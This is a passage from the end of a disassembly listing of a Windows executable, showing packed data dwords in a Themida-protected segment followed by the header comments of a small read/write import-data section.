dd 0A86F792Eh, 6D19C2BAh, 0E9E6FCEBh, 14h, 0B3BE820Eh
dd 0A3AB398Dh, 74519526h, 68875A88h, 0BF0EF22Bh, 0E8F1B70Fh
dd 6, 0B5673192h, 0B70F97D5h, 8B6658DAh, 3800FF3h, 0F000000h
dd 8B66F9B7h, 0C5B860F2h, 81180C34h, 420C22E7h, 0CE816177h
dd 608036D5h, 52F0B70Fh, 10F0BB66h, 1C0805Ah, 0A500C181h
dd 0C3B06F08h, 0FC1B70Fh, 28Ch, 8B47B200h, 0FEBF0FF8h
dd 68D0FF8h, 81000000h, 9C30B4DAh, 7E941h, 278A0000h, 6328507Fh
dd 11E934h, 463E0000h, 0C8C87195h, 0DACA6649h, 50C2BBF0h
dd 0B2ACC8B5h, 0E1BF66CCh, 0F8BB66E1h, 0B675B13Eh, 8E9DAh
dd 27E30000h, 0CF924F3Eh, 0B86629F4h, 0D18A4291h, 8C3BE081h
dd 0DA8B5EF2h, 60ACAFBEh, 11E955h, 0BF6B0000h, 563A32EDh
dd 872AAFC3h, 926D7638h, 80D80ED5h, 10E9ECD1h, 0A1000000h
dd 0C0F19B81h, 4CE9E007h, 0F85D8A20h, 8B9D7C59h, 6860FD3h
dd 81000000h, 0B6A0BEE9h, 0D9B70F18h, 5E9h, 0E8EEDA00h
dd 0A9BA00ABh, 8B00D7B5h, 0EE9F8h, 0F27F0000h, 97FFED7Ah
dd 5C797D11h, 0E9D643AEh, 6052F380h, 0BA66CF8Bh, 80614B1Bh
dd 5157B3D6h, 11E8h, 0D6963E00h, 0C6B190A6h, 4694A05h
dd 6F21A31Ch, 5A58D720h, 2D33BF5Ah, 810F2C1Fh, 6, 8D16E981h
dd 8A0F01FCh, 0
dd 0FF28B66h, 28Ch, 66ABB500h, 0F94CF8BAh, 6628E880h, 82A8CF81h
dd 5810Fh, 38BA0000h, 0E92C448Ch, 11h, 9AC76D3Dh, 671E4034h
dd 76B82558h, 409F43EDh, 6E9F913h, 0EF000000h, 0A08B8321h
dd 0C6B70FE5h, 0A890Fh, 81600000h, 432772E7h, 6158531Eh
dd 13E8h, 4A818E00h, 359783CDh, 0E63F7C33h, 2F28BCC6h
dd 0A07C26C8h, 14E9h, 0D7C8F600h, 61CB1B49h, 9C001A28h
dd 9E9B184Eh, 7E35D87Eh, 0E9505FA5h, 11h, 31F78CB5h, 872EA52h
dd 0E751A649h, 8E40C4C2h, 52F95A93h, 5824E280h, 0C3BF0F60h
dd 0DE9h, 595D8500h, 4CC1E0AFh, 0D204B7B8h, 0E961510Dh
dd 11h, 8E8E55CDh, 0B72874B1h, 0E2D40674h, 0C00ECD17h
dd 7FC0803Ah, 0E8C8DB80h, 14h, 0B94945B7h, 0BB99E6D8h
dd 0E90CB925h, 75A810F0h, 0A4A5EA37h, 66E88166h, 0C3815EFFh
dd 1976E980h, 14E8h, 4E0E3300h, 0C547FCDAh, 82FF728Bh
dd 0CED6CE05h, 8077AC21h, 0CE962h, 0C5060000h, 0F167BDC4h
dd 6D813BF4h, 28591223h, 3B2h dup(28A66DB1h), 5E516DB1h
dd 20Ah dup(5E511A83h), 77511A83h, 0F5h dup(77E1B92Ch)
dd 0E1E1B92Ch, 0A4h dup(0E1970665h), 333h dup(0FA800710h)
dd 0CC800710h, 973h dup(0CCCCCCCCh), 0CCCCCCh, 293h dup(0)
Themida_ ends
; Section 5. (virtual address 001AE000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 001AE000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 5AE000h
dd 80h dup(0)
dd 240h dup(?)
dword_5AEB00 dd 140h dup(?) ; DATA XREF: Themida_:00530C6Co
_idata2 ends
end start